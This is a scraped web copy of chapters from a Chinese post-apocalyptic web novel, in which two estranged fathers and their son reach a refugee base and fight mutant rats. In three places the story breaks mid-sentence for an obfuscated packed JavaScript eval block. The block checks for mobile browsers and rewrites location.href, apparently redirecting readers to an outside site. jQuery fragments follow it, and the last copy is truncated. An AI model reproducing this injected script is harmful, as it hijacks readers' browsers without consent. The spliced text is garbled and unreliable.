《死对头带娃找上我 [种田]》 7. 鹰嘴崖 鹰嘴崖下的山洞,隐藏在茂密的灌木丛后。洞口狭窄低矮,稍不留神就会撞到额头。 角落里放着粗瓷碗和木勺子,旁边是一口漆黑的铁锅。从垃圾堆捡来的玩具扔得到处都是,最里面的石台上铺着草席,叠得整整齐齐的旧被子,两个黑色书包充当着枕头。 生锈的铁丝钉在石壁上,挂着两件洗得发白的小短袖。角落里堆着小捆木柴、发芽的土豆和马齿菜。 萧远舟扶着江砚在石台边坐下,自己蹲在地上环顾四周,啧了声:“江少爷,你这日子过得,可比我当年混街头时还糙啊。” 江砚白了他一眼,声音没什么起伏:“少冷嘲热讽。若非末世,你觉得我会在这种地方?” “知道知道,”萧远舟笑着打断他:“你从前是金枝玉叶的大少爷。” 他的目光扫过洞内简陋的陈设,又落在正专心玩石子的小卷毛身上:“适应得不错嘛,都会带孩子住山洞了。” 江砚别过脸没接话。 萧远舟的视线落在不远处的小卷毛身上,奶娃娃正盘腿坐在地上,手里捏着小石子,一颗一颗往辆缺了门的玩具车里塞,嘴里还发出嘟嘟声。 “说真的,”萧远舟突然正色道:“六年没联系了,怎么突然想起找我了?” “他是你儿子,我不找你,找谁?” “我不是这个意思!我是问……”他顿了顿:“以前怎么不来?现在突然出现,该不会是……” “嗯,走投无路了。”江砚干脆利落地承认:“我原本带着孩子住在避难所住的,后来遇到我二伯,他说能安排我去研究所工作。” “听起来不错啊,研究员可是个铁饭碗呢,包五险一金不?” “包人体实验。”江砚的眼神冰冷:“他发现了江泽的御兽能力,想拿他做实验。” “御兽异能?”萧远舟惊讶地看向小卷毛:“我一直以为那只白虎是你们驯养的异能兽。他才多大就觉醒异能了?” “五岁,起初我以为他只是和大白感情好。直到半年前,外出找研究植物,车队被一群变异巨蛇围了。” “其他人都死了,是江泽救了我。正因如此,江怀仁知晓了,他可能觉醒了某种异能,打算拿孩子做实验。于是,我连夜带着孩子跑了。” “江怀仁总觉得我不在乎这个孩子,” 江砚的声音轻了几分:“毕竟……我连尿布都没换过。” 他自嘲地笑了笑:“但他是我儿子,这是无法不会改变的事实。” 萧远舟接话道:“所以末世前你就调查过我,蜀都待不下去了,走投无路,就带着孩子来找我了?” 江砚点点头,神色依旧清冷,仿佛只是在说一件无关紧要的事。 萧远舟挑眉:“你就不怕,要是我早就死了,已经变成丧尸了呢?” 江砚淡淡扫了他一眼:“我做过全面检测,一切正常。至于你……不好说。” “喂,合着我就是随时会变异的料?我从小到大体检表比你脸都干净,正常得很!” 江砚抬起下巴:“萧远舟,反正你我总有一人是不正常的,我不管你是什么怪物,我给你生了个儿子,养了五年小崽崽,现在你该对我们父子二人负责了。” “我要是不想负责,昨晚就不会把你们捡上车了。” 小卷毛这时终于抬起头,眨巴着大眼睛看了看两个大人,奶声奶气地说:“爸爸,饿。” 洞外日头正盛,晒得山石发烫,大山蹲在卡车旁磨斧头,眼角余光总往洞口看,磨着磨着终于忍不住:“阿虎,你觉不觉得,老大对洞里那小子,有点太上心了?” “嘿,你也瞅出来了?那主儿不会真是大嫂吧?我昨晚没说啥过份的话吧?都说枕边风威力大得很,一吹就着,咱老大脾气,本就是炮仗,要是枕边风一吹,不得把人炸上天啊!” 李阳瑞一本正经地教育:“阿虎,你别瞎说,那小哥带着孩子呢,老大能是那种人?” “诶,李队,你年纪小,不懂其中的门道。这叫情趣,你看看那小哥,白得跟雪似的,往那一站就是幅画。再说了,人家都不嫌弃老大秒呢。” 大山一把捂住阿虎的嘴:“你他妈活腻了?!老大那耳朵比雷达还灵!” 他紧张地看了眼洞口:“少说那个字,不吉利!” “我觉得老大是看上……” 李阳瑞突然看到车顶上晒太阳的白虎,灵光一闪:“是看上他们的战斗力!能驯服变异兽的肯定不简单,听说末世前养老虎都得本科文凭呢!” “拉入伙用得着又扶又背?” 阿虎扒开大山的手:“昨儿那漂亮小主摔了一下,老大抱起人就跑,我跟了他三年,他连我手指头都没碰过。那小子说话冷冷清清的,我瞅着,就是老大喜欢的调调。” 三人正唠得起劲,萧远舟从洞里探出头,手里捏着块石子:“你们凑一堆嘀嘀咕咕啥呢?” 大山脸一僵,结结巴巴道:“没、没啥!就是在说……说今天天气好!” 阿虎立马扯出个笑脸,拍马屁:“老大,我们正夸您呢!昨晚打丧尸又快又猛又持久,不愧是男人中的战斗机。” 萧远舟:“……”怀疑这货是故意的。 李阳瑞一本正经地补充:“对!老大的能力,遇到丧尸打持久战是绝对没问题的!” 萧远舟冷笑一声,屈指弹飞手里的石子,石子精准砸到了阿虎的膝盖上,疼的人倒地不起。 他没好气道:“时间不早了,离市基地还剩三十公里。吃了饭就准备出发吧。” 三人应好,李阳瑞立刻跑去找队里当过大厨的张博。 没多久,卡车旁支起了口大铁锅,张博正蹲在锅前添柴。干树枝燃着,锅里的稀粥咕嘟冒泡。他时不时掀开木盖搅两下,粥面上浮起层薄薄的米油,又赶紧盖上,这光景,多跑点热气都觉得心疼。 李阳瑞闻着米香闻感慨道:“博子,你这手艺真没的说!回头可得加把劲,把伙房的王大婶比下去。王婶儿做饭,盐都舍不得多放一粒。” 此话一出,纷纷附合。 “可不是嘛!上次弄的海鲜汤,腥得能把隔夜汤吐出来!我怀疑她合不得用水,压根没洗鱼!” “何止没洗!她鱼鳞都没刮干净,还说是补钙哩。” 张博边切土豆边回应:“没法子啊,粮食稀罕,有口吃得就不错咯。” 众人一时都沉默了,嘴上虽这般抱怨,心里头也晓得粮食匮乏。基地这么做也是为了大家好,总比吃的多,省不下粮,饿死的强。 不久,萧远舟端着两碗饭,弯腰钻进山洞时,头差点撞到低矮的洞顶。他把碗往石台上一放。 江砚正皱眉往背包里塞被子衣服。 “江砚,吃饭了,等会我帮你收拾。”他把一碗饭推过去。 江砚抬眼,低声道:“谢谢。” 小卷毛坐在地上,眼巴巴瞅着碗里的食物。 江砚用木勺子敲了敲碗:“过来,吃饭吧。” 小卷毛手脚并用爬来,坐在石台边,捧着小碗,小口小口吃着土豆粥。 他含糊不清说:“啊爸爸,为什么土豆豆比以前的好吃啦?” 江砚喝粥的动作没停,眼皮都没抬:“不知道。” “好吧,爸爸,你总是什么都不知道。” “那你要不要土豆啊,窝分给你啊。” “不要,江泽你好吵,闭嘴吃饭。” “现在是天亮亮,为什马闭嘴?” “食不语,寝不言,要么好好吃饭,要么出去罚站。” 下午三点,卡车驶至青岩基地边际时,路面渐渐拥挤起来。 路上全是行色匆匆的人,背着鼓囊囊的包袱,挑着破筐,裤脚沾满泥污,脸上带着赶路的焦躁。 偶尔也有几辆卡车驶过,车斗里挤满了人,连引擎盖上都坐着人。 “这咋这么多人?”大山脸贴着玻璃往外看:“是赶场吗?上回来时,可没这热闹啊。” “情况不太对劲,都背着行李,像是逃难啊,肯定出事了。”萧远舟笃定道。 路上行人熙攘,车子越开越慢,约莫一个钟头才见基地范围内。 外围只简单用铁丝网圈起,显然是仓促搭建的据点,以高大城墙为中心向外延伸,边缘处有哨兵持枪站岗。 里面热闹得反常。破旧帐篷从城门口连绵百米开外,人群挤挤挨挨,黑压压一片,还有车子人不停往里涌。 “我的娘啊,这是把半个青岩市的人都塞过来了?”阿虎咋舌。 车子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252002|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪进外围,刚停稳,挎着药箱的姑娘匆匆跑过,李阳瑞伸手拦住她:“妹子,咋回事啊?这多人挤在外面?” 姑娘喘着气:“还能咋?出大事了,阾市出现变异丧尸,能制造丧尸潮攻城,据点守不住,人全往青岩基地跑,里面早住满了,来得晚的只能在外面搭帐篷。” 阿虎一听,脸色瞬间煞白,忍不住骂道:“乖乖,变异货?病毒还能咋变异啊,这让不让人活嘞?” 江砚神色凝重,低声说:“看来形势愈发严峻了。” 萧远舟没说话,目光扫过密密麻麻的帐篷,心里清楚,晚上有东西过来,根本无处可躲。 “都熬了一夜,大家先在车上歇会儿。留两人站岗,李阳瑞,拿上物资清单,跟我去安检站登记。” “好。”李阳瑞赶紧从包里翻出清单。 两人跳下车,一头扎进拥挤的人群。 到了城墙下,士兵将他们拦住:“干什么的?” “丹东群岛的,来换物资。”萧远舟递过基地证明。 哨兵扫了两眼,又简单询问几句,便挥挥手放行了。 穿过高大的围墙,基地里比外围更挤。原本宽阔的街道,个个面黄肌瘦,透出营养不良的蜡黄,都在忙碌的干活。 两人绕了两条巷,才望见安检站的牌子。排了长队,都是各基地来的人,正围着登记台等待。 前方三个汉子,瞧见后头来的人,突然停了说笑。 萧远舟也认出了对方,是小云岛的人。政府曾说过,华夏没有孤岛,所以丹东的岛屿,由桥梁与索道相接。 然而,现下都被各自幸存者占领。为了生存,大家相互争夺资源,却又都有所顾忌。 平日里,几乎不会随意踏足其他岛屿,因为一旦有人这么做,那就意味战争爆发。 这年头,别说外面游荡的丧尸,光是人与人之间的内战,就足够把人折腾死了。 所以岛屿之间早有默契,立下条规定,各岛怎么活,全凭各自本事。你守着你的礁石滩,我护着我的淡水井,井水不犯河水。 小云岛拢共两百来号人,异能者就俩,偏挨着北岛和木鹰岛。但凡有点力气的青壮,或是觉醒了异能的,早被人用好处勾走了。 领头的刀疤脸左颊有道长疤,从眉骨划到下颌,此刻他往前挪了两步,声音有点干:“萧当家,这么巧。” 萧远舟“嗯”了一声,视线掠过他身后两人,一个背驼得厉害,一个腿脚不利索,站着都得往旁边汉子身上靠,瞧着都没什么力气。 旁边李阳瑞忍不住问:“刀疤,老周没跟来?” 刀疤脸摇了摇头,喉结动了动:“老周去年没了。海边巡逻时,被腐化鲨鱼拖进海里,连个尸首都没捞着。” 李阳瑞愣了愣。他记得老周,是个憨厚的中年男人,末世前还在他大伯的工厂干过几个月,人勤快,从不偷懒。 萧远舟声音平稳:“你们是开车来的?” “是哩,”刀疤脸搓着手,指节粗糙:“开了辆小车,攒了一年的盐,想换点药回去。” “不换点种子?”李阳瑞追问。 “换种子不够分。”刀疤脸苦笑了下:“听说政府会发一批瑕疵种子,免费的,我去领点回去试试。” 萧远舟看着他,语气没什么起伏:“咱们可以一路回去。” 刀疤脸愣了,喉结又滚了滚,有些不敢信:“萧当家是说……让我们一块?可我这的人,都没啥力气……” “同路而已,不碍事。”萧远舟淡淡道,目光落回登记台的方向,没再多说。 刀疤脸张了张嘴,声音有点哑:“还是萧当家仗义。” 轮到萧远舟时,登记台后的工作人员抬了抬眼皮,接过他递来的账单,笔尖在登记本上敲了敲:“要换什么?” “四百支疫苗,二十包种子,两箱消炎药,别的不用。”萧远舟言简意赅。 工作人员抬头看他:“物资带够了吧?” “清单上写着的都有。”萧远舟指了指账单。 纸上写有,鲨鱼皮七张,五袋草药,十株变异植物,二十六袋海盐。 工作人员在电脑上敲了几下,才道:“行。会有士兵去清点你们的物资,核实清楚了,明天一早到这边领东西。” 8. 城墙 从安检站出来,萧远舟让李阳瑞先回去,自己拐了个弯往愈疗所走。 “来盒强力消炎药。”他往柜台上放了六颗晶石。 护士闻言,翻出两盒药:“新出的,保质期就一年啊。” 萧远舟没搭话,拿起药就走。 回到卡车旁,就见大山和李阳瑞蹲在那儿。 “其他人呢?” 大山朝基地深处指了指:“都进去逛了,想换点东西带回去。” 萧远舟踩着踏板上了车厢,江砚正背靠着铁皮壁坐着,怀里抱着小卷毛。 孩子缩在他怀里,露出乱糟糟的发顶,呼吸绵长均匀,睡得正香。昨晚娃娃熬了整夜没合眼,哪怕此刻吵吵嚷嚷,都挡不住困意。 两人谁都没说话,萧远舟其实也不知道该说点啥,可余光总忍不住往江砚怀里瞟。 江砚这种性子,傲气又冷冰冰,是他最不喜欢的类型了。偏偏此刻怀里抱着他的种,若是早知道江砚能生,那晚就算□□焚身烧得只剩骨灰,他都不会碰这男人一根手指头。 萧远舟摸出水壶和药递过去,嗓门压低:“江砚,我买了消炎药,记得吃。” 江砚眼皮都没抬,声音淡淡的:“谢谢,你放那吧。” 萧远舟点点头,车厢又静了下来。 小卷毛在江砚怀里动了动,还吧唧了两下嘴,江砚立刻收紧手臂,轻轻拍着孩子的背。 萧远舟看得有点稀奇:“没看出来,你还会哄娃啊。” 江砚瞥了他一眼:“江泽太吵,还是睡着安静。” “合着你哄他,就是为了图个清静?” 江砚没否认,声音放轻:“不然呢?醒着的时候,问这问那没个完,很烦。” 萧远舟心里突然不是滋味。他蹭了蹭鼻子:“那什么,崽子平时都喜欢玩啥?” “问这干嘛?” “好歹是我儿子嘛……” 江砚沉默了一会儿:“看老虎,捡破烂,玩小车,床上打滚,黏人精。” 萧远舟听着,莫名觉得胸口发软。他瞅着江砚发僵的胳膊:“抱这么久不累?我来换把手,你去把药吃了吧。” 江砚怔了怔,慢慢嗯了声。 小团子睡得死沉,被倒手都没醒。萧远舟大咧咧往膝头一搁,手掌兜着小脑袋,嚯,还挺沉,像暖烘烘的小火炉。 江砚拧开瓶盖,不忘叮嘱:“看着点,别让他滑下去。” 吃了药,江砚在大背包里翻了翻,掏出小铁盒和小奶瓶。 萧远舟瞪大眼:“这年头你还能搞到奶粉?” “营养粉。”江砚晃了晃铁盒:“研究所顺的。” 铁盒里面是橙色的粉末,带着谷物香。 江砚舀了两勺放进奶瓶,加水,拧紧盖子上下晃了晃,水很快变成了橙黄色。 这时候,李阳瑞敲了敲车厢:“老大,士兵来搬物资了,叫人下去配合清点呢。” 萧远舟一听,抱着小卷毛下了车。江砚把铁盒塞进背包拉好拉链,拿着奶瓶,也跟着下了车。 小卷毛迷迷糊糊睁开眼,发现抱着自己的不是爸爸,小嘴一瘪,金豆豆在眼眶里打转:“要爸爸抱抱……呜呜~” 萧远舟手忙脚乱把孩子递过去,江砚却往旁边一躲:“醒了就自己走。” 小卷毛哪肯依,泪水滑落:“要爸爸抱抱……要爸爸” “江泽不许哭。”江砚的声音冷了几分,把奶瓶塞到小手里:“喝。” 小奶娃委屈叼住奶瓶,两口下肚哭声渐歇,小胳膊圈住萧远舟的脖子。忽然眼睛一亮,指着车顶,含混喊:“是我的大白白啊!” 雪白的老虎懒洋洋睁开眼,金色竖瞳在阳光下收缩,尾巴轻轻一扫。周围顿时响起一片倒抽冷气的声音。 “乖乖,这年头老虎都能养?这伙人到底啥来头啊?” “那么大只老虎,咋让放进基地的?不会咬人吧?” “看着像异能兽啊,听说可聪明了,通人性。以前我们基地也有人养过两只异能狗,能守仓库呢。” “小娃娃还叫它大白?这是把老虎当猫养了?” “嘘,小声点!没瞧见老虎正盯着咱们看吗?” 士兵核对完物资,递过一块有编号的金属牌:“核对清楚了,这是凭证,有问题找后勤处。” “谢了。”萧远舟随手揣兜里,转头看见队友们拎着大包小包回来了。 大山扒着车窗问:“你们买着啥好东西了?” 张博晃了晃手里的鞋:“三晶石换的,我脚上的早烂透了。本想买点吃的,一看价就歇了心思。” 一人抱着军绿棉被:“我五颗晶石全砸这上头了,要入冬了,家里那口子总喊冷。” 还有人拎着厚棉衣、发绳、砍柴刀、火炉子等等。 阿虎爬上车,从怀里掏出玻璃瓶:“李队,你看我换了啥好东西!” 李阳瑞走近一看,惊讶道:“酒?花了多少晶石啊?” 阿虎得意地晃了晃瓶子:“我找人凑的晶石,够换这一瓶,来来来,一人一口,都尝尝鲜。” 酒瓶在众人手里传递,每人都小心翼翼地抿一小口,生怕多喝了别人的份。 轮到李阳瑞时,他仰头灌了一口,辛辣的液体滑过喉咙,顿时觉得浑身都热了起来。 “大山,来一口不?”李阳瑞把酒瓶递向车厢。 大山接过酒瓶闻了闻:“嚯,够冲的!” 小卷毛抱着奶瓶,好奇地踮着脚:“爸爸,那好喝吗?” 江砚一把将他拎回来:“小孩子不许碰。” 萧远舟目光扫过江砚磨得发亮的袖口,和小卷毛明显长一截的背带裤,裤腿卷了三道还拖着地。 萧远舟清了清嗓子:“江砚,要不要进去逛逛?” “我没晶石,不去。”话说的硬气,但江砚抿着嘴唇,漂亮的桃花眼上扬,紧紧盯着萧远舟瞧。 不是,兄弟,你这眼神看着可不硬气啊。 果然下一秒就听他说:“江泽的衣服穿半年了,不过冻冻也好,增强抵抗力。” “嗯嗯!”小卷毛突然抬头,奶瓶还叼在嘴里,含含糊糊地说:“偶不怕冻哦!” “江砚,这可不行,娃娃小呢,我掏钱,我兜里揣了点晶石。” 这话没掺假,此次出行,萧远舟带了点小小家当,不多,就300左右。 基地晶石向来优先喂给异能者,剩下的他自己啃了一半,基地人少势弱,异能跟不上就得被按在地上摩擦。 江砚闻言,矜持点点头:“既然你都这么说了,那就进去逛逛吧。” 刚要走,车顶传来嗷呜一声。 车顶的大白已站起,前爪扒着车厢边,尾巴绷直,显然要跟。 小卷毛高兴挥着小手:“大白白,来!” “江泽,”江砚声音不容置疑:“让你的老虎在这等着。” 小卷毛小嘴一瘪:“可是这里都是不认识的人,大白一个兽会孤单的。” “人多,带它不方便。” 小卷毛犹豫半晌,才挥挥手说:“大白等等!吾一会会回来!” 大白看了他几秒,不情不愿缩回去趴好,尾巴扫着铁皮闷响。 萧远舟突然朝阿虎勾了勾手指:“过来。” 阿虎小跑凑近:“老大,有啥指示?” 萧远舟压低嗓音,在他耳边道:“找俩机灵的人,去打听打听变异丧尸的消息。重点查查怎么冒出来的,有什么弱点,怕火还是怕什么武器。越详细越好,多知道点,心里才有底。” 阿虎眼睛一亮:“明白!”转身就招呼了两个兄弟,三人很快混进人群。 交易区设在基地中心的空地上,那栋水泥建成的大超市,里头全由士兵看管着。 政府毕竟要养活几百万人口,最不缺的就是人力,每年都能产出一批物资,只是材料少,数量就不多,价格自然贵。 江砚修长的手指轻轻拨弄童装架上的衣物,大多都是些旧衣服。小卷毛突然踮起脚,举着一件印有三个奥曼特的卫衣:“爸爸!这个好看!” 江砚瞥了眼起球的布料,面无表情地拿过来挂回去:“二手货。” “可是有三个奥曼特打怪兽呀!”小卷毛不死心地拽着衣角。 江砚一本正经地问:“奥曼特能给你挡风吗?” 说着,从顶层取下件军绿色儿童版大衣,在孩子的身形上比了比,刚好露出小拖鞋,他面无表情夸:“哇,好看。” 小卷毛眨巴着眼睛,瞅瞅军绿色大衣,不太乐意:“唔。” 江砚屈指敲了敲小卷毛的头:“大衣有口袋,还能装小石子,很好。” 小卷毛眼睛亮了亮,从裤兜里摸出一颗鹅卵石:“那好吧,江泽最听话了。” 江砚又从货架上取了顶雷锋帽。 萧远舟指着货架上奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252003|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特曼卫衣,大方道:“那件也带上吧,反正孩子喜欢,不用省这点晶石。” “我没打算省,只是你的家底……好像不太够用。” “买件衣服还能不够?”萧远舟拍了拍口袋,里头的晶石发出哗啦声响。 “是吗?”江砚挑眉,目光转向食品区:“我还想买罐奶粉,可以吗?” 萧远舟顺着他的视线看去,奶粉罐上130晶石的标价让他眼皮直跳。 结账时,江砚把选好的东西往柜台一放:军大衣、雷锋帽、蓝色短袖、工装裤、小鞋子,还有件成人冬装,最后指了指奶粉:“加这个。” 士兵计算器打得响,报数:“287。” 夕阳西下,萧远舟坐在车厢里啃着干巴巴的面饼。阿虎风风火火地跑回来,抓起水壶猛灌几口:“老大!打听清楚了!那变异丧尸邪门得很!” “怎么说?” “不光能指挥普通丧尸,还会喷火!”阿虎抹了把嘴:“邻市就是被它烧没的,浑身冒火,普通丧尸见了都躲!” 萧远舟皱眉:“怎么变异的?” “说法多了去了!”阿虎掰着手指“有说吞了三个异能者晶核的,有说遭雷劈的……” “还有一种说法,说是饿疯了,没活人吃就内讧,啃着啃着,啃出了邪性,丧尸吃丧尸,硬生生吃出了变异,脑子吃多了生出来智力呗。” 车外突然传来整齐划一的军靴踏地声。 萧远舟抬眼望去,只见一名三十出头的少将走在最前头,绿色作战服衬得人身形挺拔如松,透着一股肃杀之气。 他身后跟着一队全副武装的士兵,有人扛着铁丝网,有人背着弹药箱,还有人腰间挂着晶核,一看就是异能者。 少将的声音不算高,却清晰地传到每个人耳朵里:“分区域防守,都打起精神。记住,时刻警备,任何异动立刻报备,不许擅自离守。” 士兵迅速跟着带有晶核的异能者往四周散开,站最边缘位置,将群众包围,与远处的危险遥遥对持。 余晖一点点被夜色吞没,而士兵们筑起的防线却愈发清晰。 大山拍了拍裤腿的灰:“来了这多军人,今晚会没问题吧?” 萧远舟盯着窗外黑压压的人群:“难说。人味越重,招来的东西越多。” 阿虎接话:“可部队的异能者看着就挺厉害,真来了应该能应付吧?” 萧远舟扯了扯身上的外套:“操心也没用,你们先歇会儿吧。” 四周渐渐安静下来,有人蹲在角落,有人把帆布铺在地上,有人睡在帐篷里。 江砚怀里抱着孩子,抬头看见萧远舟还在盯着窗外。 “萧远舟,今晚还不睡吗?”他轻声问。 “嗯,你带娃去前头副驾座睡,那儿宽敞点。” 萧远舟抽出把长刀,刀鞘在月光下泛着冷光:“有事我会喊你。” “下半夜我替你?” “用不着。”萧远舟盯着虚拟地图上闪烁的红点,指节无意识地敲着刀柄。 上半夜异常平静,只有风刮过和士兵换岗的轻响。 萧远舟抱着刀,靠在车门上,眼皮发沉,困意来袭,却仍不肯闭眼。 直到凌晨3点,地图上突然跳出醒目的红点,正朝着防线移动。 军方显然已经发现了异常,悄无声息地派出一支小队前去拦截。 然而还没等解决,地图上突然冒出更多红点,如潮水般从四面八方涌来。 指挥中心内,少校紧握通讯器,声音沉稳有力:“各组注意,按预定三号方案行动。” “木系小队守住广场东侧,利用树林做掩护,用藤蔓缠绕牵制,别硬拼。” “后勤组,开启外围电网,强度调至最高。” “冰系补位西北,火系分散支援,争取速杀,腾出人手支援东侧。” 萧远舟看着地图上的绿点如棋子般精准,总能提前一步堵住红点的突进路径。布局环环相扣,真是个聪明人。 夜色如墨,虽行动已压到极静,却仍引来了危机,地图上西侧红点疯涨,速度极快一看就是腐化兽,五分钟内就能到防线。 地图上绿点晃动开始吃力,怪物实在太多太多了。 军队扛不住的,如果退回城墙,能保住士兵,可一旦退了,广场上的民众就得遭殃。 显然,他们已经做出了决定,以血肉之躯,筑起最后一道城墙。 9. 蚀骨鼠 夜色如墨。 萧远舟仰头望向天上的残月,远处传来阵阵嚎叫声,还夹杂着轻微的金属碰撞声。 防线仍在坚守,但平衡随时会被打破。 他打个哈欠,眼眶布满血丝。连续几日奔波,人已疲惫不堪。 他抱着刀,站起身拍了拍李阳瑞的肩膀,用眼神示意拿上斧头跟自己走。 李阳瑞睁开眼,眼里没有半点睡意。在这样的夜里,谁能真正入眠呢?他抄起斧头,放轻脚步,紧紧跟在身后。 “西侧有危险,最少五百只腐化兽,看情形应该是群居动物。” 萧远舟脚步飞快,声音压低:“群居的腐化兽,通常有个弱点,头兽一死,整群就会慌乱,我去解决掉它。” “五百只?老大,这……有把握吗?这太他妈危险了!”李阳瑞低声惊呼。 “没有把握。四面八方都是怪物,军队也是人,不是铁,撑不了太久。” 萧远舟低头笑了笑,带着点自嘲:“我真是疯了,非要往刀尖上撞。” 两人借着夜色的掩护,迅速向西侧潜行。 越野车里,少年用手肘捅了捅旁边正擦刀的女人:“姐!有人往西边去了!” “知道。”女人头也没抬,刀刃映着寒光:“看着像是异能者。那边动静太大,准是招了东西。怎么,你活腻歪了想去送死?” 少年攥紧了拳头,指节发白:“我不想死!可老这么缩着也不是个事儿啊!万一……万一真顶不住,大家全完蛋!谁他妈想窝窝囊囊地死啊!” “呵。”女人低笑一声:“行啊,我的好弟弟,你出息了,不是怂包。” 她收刀入鞘,利落地跳下车:“走!” “等等!”一位壮汉抓起手边的剔骨刀,闷声道:“我本就是来参军的,死在战场上比烂在卡车底强,算我一个!” 穿着校服的少女,把书包塞进旁边妇女怀里,紧紧抱了她一下,声音有点抖:“妈,别怕,你在这儿等我回来。” “还有我!”人群里,头发花白的老头拄着拐杖站出来,丝丝寒气在他周身环绕:“老头子我……活够本儿啦,我活了七十岁,该吃的米吃了,该抱的孙子抱了,我不怕死,我没啥遗憾的!” 角落里,文质彬彬的青年站直了身,他曾经是房产中介的大堂经理,最擅长的就是大清早领着一众职员在店门口站排排,高喊口号:“梦想中介,贴心房产砖家!一套成交!两套爆单!三套封神!签单必暴富!业绩没达标?走廊当卧铺!” 此时,他把曾经洗脑话术全搬了出来,情绪激昂:“乡亲们!同胞们,都睁开眼看看!家没了,亲人找不着了,娃儿死了!老天爷是要把人往死路上逼啊。咱们是人啊,不是任人宰割的畜生!命运不公,那就跟它斗吧,天地不仁,那就给自己挣条出路吧!人死了……” 他话音未落,人群里缩着脖子的瘦小男人,搓着手,小声嘟囔:“俺晓得人死了,人死了还能……还能投胎嘛。” 这话一出,原本煽动起来的激昂气氛,瞬间像破了洞的气球般泄了气。 “放屁。”经理不愧是销冠,反应快得惊人,他指着外面怪物嘶吼的方向,眼珠子瞪得通红:“不弄死这群畜牲,投胎顶啥用,投胎是下辈子的开盘,这辈子的尾盘咱得清干净!” “华夏人民,血能凉,骨头不能弯!咱把命豁出去,也得让后人能签单……啊不,能走出一条康庄大道!” “这口气要是咽下去,真叫死透透的,投胎的资格都没有。想给娃儿报仇的,想给爹妈争口气的,想给自己挣条活路的,咱们把命豁出去,杀出一条血路来。” 一番话如同投入干柴的火星。 “干他娘的!”一个壮汉猛地吼了一嗓子:“老子家没了,婆娘也跟野男人跑了!再不把这口鸟气撒出去,老子真成晒太阳的活王八了!” “说得对,防线破了能补,人死了能埋,可活成个窝囊废,那一辈子都抬不起头了。” 不知道是被营销话术洗了脑,还是真被逼到了份上,一时间,越来越多的异能者和幸存者站了出来,拿着武器纷纷响应。 萧远舟冲到西侧时,一股浓烈到令人作呕的腥臭直冲鼻腔。 结果还是晚了半步。西侧防线被撕开一道触目惊心的裂口,十几名士兵倒在血泊中,尸身残缺不全,白骨森然。 冰系异能者正拼尽全力维持着冰墙,寒气让腐化老鼠的动作略显迟缓,但在无数利爪的疯狂撕扯下,冰面渐渐裂开缝隙。 萧远舟周身窜起金蓝电弧,雷丝缠上砍刀,冲李阳瑞喊:“左路掩护!”随即扑入鼠兽。 一只刚扒开冰缝的腐化鼠,迎头撞上那柄雷光闪烁的刀锋。 噗!刀锋带着狂暴的雷电将其头颅劈开。 他毫不迟疑,旋身甩臂,一颗滋滋作响的雷球脱手而出。轰隆!电光爆裂,冲在最前的几只腐化鼠瞬间僵直冒烟。 这宝贵的几秒喘息,让冰墙后一名力竭的士兵得以仓促吸收晶石能量。 士兵脸上闪过惊愕,随即化为感激。抹了把血,哑声道:“兄弟,多谢!” “补位!快补位!”一名满脸是灰的士官低吼着,抽出军刺,横在胸前。士兵们迅速调整阵型,盾牌抵住盾牌,刀刃向外,形成一道钢铁荆棘,代替了冰墙。 萧远舟挥刀带雷劈开扑来的鼠群,金蓝电光逼退前排腐化鼠。 眼角瞥见李阳瑞被鼠群围困,催出的荆棘藤缠着鼠爪乱晃。 “砍腿!”萧远舟喊道。掌心雷丝暴涨如鞭,抽中一只鼠眼,李阳瑞的斧头也成功劈中另一只后腿。 长刀每一次劈砍都带着雷电,既杀得快,范围也大。 直到阴影里爬出半人高的鼠王,皮毛黏着暗绿色脓汁,溃烂伤口蛆虫在肉里蠕动。它左脸烂成黑洞,右眼猩红如血,獠牙泛黄,牙缝卡着碎骨。 萧远舟心中涌起一股强烈的不安,直觉告诉他,这老鼠绝非寻常之辈。他唤出光脑,将扫描功能对准鼠王。 【种族:蚀骨鼠】 【攻击性:64(含剧毒)】 【生命状态:异常活跃(溃烂组织再生,寄生体活性强)】 【威胁等级:B】 【综合评估:每隔3分钟会发射黏液(含剧毒),沾上全身肌肉溶解而亡,近战存活率5%,建议远程火攻】 “后退!”萧远舟厉喝炸响,雷光在身前织成电网,挡住扑来的鼠王:“所有人远离!这东西沾上就死!火!快找火系异能者!所有火系的都叫来!” 士官脸色煞白,低头朝通讯器:“少校,火系!火系的兄弟在哪?!西侧急缺!” 鼠王突然发出一声尖叫,烂皮底下,无数细小肉孔猛地张开。 “嗤!” 白色透明黏液如水枪般喷射出,腥风扑面,速度快得惊人! “盾!”士官目眦欲裂。 士兵们本能地将盾牌死死抵在身前,粘稠的液体打在盾面,发出滋滋声,升起白烟。 然而并非所有人都在盾后。 “啊!”一个正挥刀劈砍腐化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 